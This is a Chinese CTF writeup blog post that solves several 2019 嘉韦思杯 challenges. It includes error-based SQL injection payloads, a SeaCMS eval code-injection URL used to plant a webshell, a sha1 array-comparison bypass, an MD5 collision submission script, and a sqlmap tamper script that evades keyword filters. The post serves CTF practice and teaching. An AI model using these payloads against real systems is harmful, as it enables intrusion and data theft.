嘉韦思杯部分writeup

原创

TuudOp 于 2019-03-30 21:59:47 发布 173 收藏

分类专栏： Web安全 ctf 文章标签： ctf

土肥原贤二(WEB 报错注入)

字符型报错注入，直接一套payload带走

```
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -
luozhen
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema
='luozhen'),0x7e),1)-- -
flag,goods
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name
='flag'),0x7e),1)-- -
id,flag
' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)-- -
```

得到flag：flag{20_welcome_19}

吴佩孚(jsfuck解密)

这个搞了很久，它意思是跟第一题有关系，想了很久没想到什么关系，第一题是base64解密，这个题实际上就是base64解密，解出来就是JSfuck加密的字符串。。。我说这字符串看着实在很怪

```
直接f12，console
然后将JSfuck字符串放进去，回车，就解密成功
```

得到flag：flag{sdf465454dfgert32}

戴星炳(WEB 简单python)

直接编写python脚本

```
# -*- encoding: utf-8 -*-

import requests
from bs4 import BeautifulSoup

url = "http://47.103.43.235:82/web/a/index.php"

res = requests.get(url=url)
soup = BeautifulSoup(res.text, "lxml")
tag = soup.find_all('p')
#print tag[1].text
result = eval(tag[1].text)
param = {
 "result":result
}
res2 = requests.post(url=url, data=param)
print res2.text
```

得到flag：flag{Y0U_4R3_3o_F4ST!}

大美晚报(WEB zip文件爆破)

```
访问web，是一个二维码，扫了什么也没有。
1、将二维码图片下载下来拖到kali上面binwalk一下，发现有zip文件
2、解压的时候根据提示 密码是管理员的qq，猜测是纯数字，具体几位，直接使用archpr爆破，密码九位数，之前没保存，我就不继续爆了
```

得到flag：flag{d6@YX$_m^aa0}

潘汉年(crypto 简单代替加密)

才开了密码学的课，上了几节，其中讲到了代替和置换加密，看着这个格外的像，就对着ASCII表观察了一下其中的位置规律，发现果然是直接使用的代替加密。

```
加密规则：(对比着flag解释)
密文(C)：bg[`sZ*Zg'dPfP`VM_SXVd
明文(M)：flag{c4es4r_variation}
加密规则符合：(python版代码解释)
for i in range(4, len(C)+3):
    C = E(i, M)

解释：在ASCII表中将明文(flag)使用前面i位的字符代替，从第一个字符移动4位开始，后面递增一位。
举例：第一个字符 f：往回移动4位就在字母 d 的位置；
第二个字符 l：往回移动5位在 g 的位置；
第三个字符 a：往回移动6位为 [ 字符；
......
以此类推

然后解密就是将加密的字符往后走相应的位置即可
for i in range(4, len(M)+3):
    M = D(i, M)
```

```
# -*- encoding: utf-8 -*-

from __future__ import print_function

C = "bg[`sZ*Zg'dPfP`VM_SXVd"
M = []

for i in range(4, len(C)+4):
 d = chr(ord(C[i-4])+i)
 M.append(d)

for j in M:
 print(j, end=""),
```

即可得到flag：flag{c4es4r_variation}

晴气庆胤(WEB md5碰撞)

这个题主要是考察md5碰撞
网上的文章说的很清楚了

- https://blog.csdn.net/wy_97/article/details/79088218
  网上的payload都说的要加密，这里的payload不需要加密，具体使用工具自己生成payload的方法：
- https://www.jianshu.com/p/1277b3c33d60

```
链接：https://pan.baidu.com/s/1Sc_V7YxO6Z_Zy2_VJ9nPGg 密码：99ul

先创建一个txt文件，内容随便，这里创建了init.txt
fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt
1.txt 和 2.txt 里面就是字符串不同，但是md5加密一样的字符串了
```

```
//使用python脚本提交payload(手动提交也可以)
#encoding=utf-8
import urllib
import requests

file1 = open("1.txt", "rb")
file2 = open("2.txt", "rb")
res1 = file1.read()
res2 = file2.read()
#这里不需要urlencode
#s1 = urllib.quote(res1)
#s2 = urllib.quote(res2)
file1.close()
file2.close()
#print 'param1=%s'% s1 +'&'+'param2=%s'% s2

url = "http://47.103.43.235:85/a/"

param = {
 "param1":res1,
 "param2":res2
}

re = requests.post(url = url, data = param)
print re.text
```

即可得到flag：flag{MD5@_@success}

作战计划(WEB 海洋cms)

这个海洋cms之前有一个ctf也出过，是直接拿shell，然后找flag
直接百度payload

```
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[1])
蚁剑连接，flag在根目录下
```

得到flag：flag{!!seacms_@@}

池步洲(WEB sha1加密,数组绕过)

```
isset($_POST['name']) and isset($_POST['password'])){
 if ($_POST['name'] == $_POST['password'])
  print 'name and password must be diffirent';
 else if (sha1($_POST['name']) === sha1($_POST['password']))
  die($flag);
 else print 'invalid password';
```

```
sha1()加密一个数组为空 NULL，所以这里只需要让参数传递一个数组就可以了
payload：
POST: name[]=123&password[]=234
```

得到flag：flag{Y0u_just_br0ke_sha1}

冈村宁次(WEB 绕过,tamper学习)

这是个骚题，对于菜鸡的我来说，我还是很感谢这道题的。之前一直想学习写sqlmap的tamper，但是一直没有学过，刚好这次就试了下，算是初窥门径吧。

```
题目链接：
http://47.103.43.235:83/web/a/index.php?id===QM
注意点：
1、根据观察发现它是将id=1的1用bs64加密然后再倒序，接在了url后面。所有后面的payload都需要先加密然后倒序。
2、有过滤，过滤内容：
单引号
=
空格
and
or
union
select
from
where
and,or,union,select,from,where都是替换一次为空，所以可以通过双写绕过;空格使用/**/绕过，=使用like绕过
```

大概知道了这些，我决定顺便试一下写sqlmap的tamper
直接附上代码吧：

```
# -*- encoding: utf-8 -*-

import base64
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
 pass

def tamper(payload, **kwargs):
 payload = payload.replace(' ', '/**/')
 payload = payload.replace('or', 'Oorr')
 payload = payload.replace('union', 'ununionion')
 payload = payload.replace('from', 'ffromrom')
 payload = payload.replace('where', 'whwhereere')
 payload = payload.replace('select', 'selselectect')
 payload = payload.replace('and', 'Aandnd')
 site = payload.find('=')
 payload = payload[:site+1] + payload[site+1:].replace('=', '/*!00000like*/')
 end = payload[site+1:]
 bs64 = base64.b64encode(end)
 rebs64 = bs64[::-1]
 payload = payload[:site+1] + rebs64
 return payload
```

由于后面查表的时候不知道过滤了什么，反正就是查不到，一直报错，所以这个tamper实际上并没有起到什么作用，我只是跑出来id是注入点，后续并没有跑出来数据。
所以这个经历告诉我们，知识和技巧很重要，后面要补一补这方面的知识。
无奈，我后面只能通过这些payload手动进行注入了

```
payload = "http://47.103.43.235:83/web/a/index.php?id=1 union select 1,2,3,4,5,flag from flag"

payload = payload.replace(' ', '/**/')
payload = payload.replace('or', 'Oorr')
payload = payload.replace('where', 'whwhereere')
payload = payload.replace('union', 'ununionion')
payload = payload.replace('select', 'selselectect')
payload = payload.replace('and', 'Aandnd')
site = payload.find('=')
end = payload[site+1:]
bs64 = base64.b64encode(end)
rebs64 = bs64[::-1]
payload = payload[:site+1] + rebs64
print payload
#ctf_sql
```

将payload经过一系列变换，手动提交payload进行注入... 因为爆不出表名，索性直接就

```
select flag from flag
```

最后得到flag：flag{s9li_1s_s0_e4sY}

sqlmap的tamper学习链接：

- https://www.smi1e.top/sqlmap-tamper编写/
- http://www.myh0st.cn/index.php/archives/881/
- https://www.jianshu.com/p/c24727dd1f7a

总结

这可能是我做的最好的一次ctf了吧，题比较简单，适合我这种萌新做，主要就是有的脑洞太大，我这脑壳有点跟不上。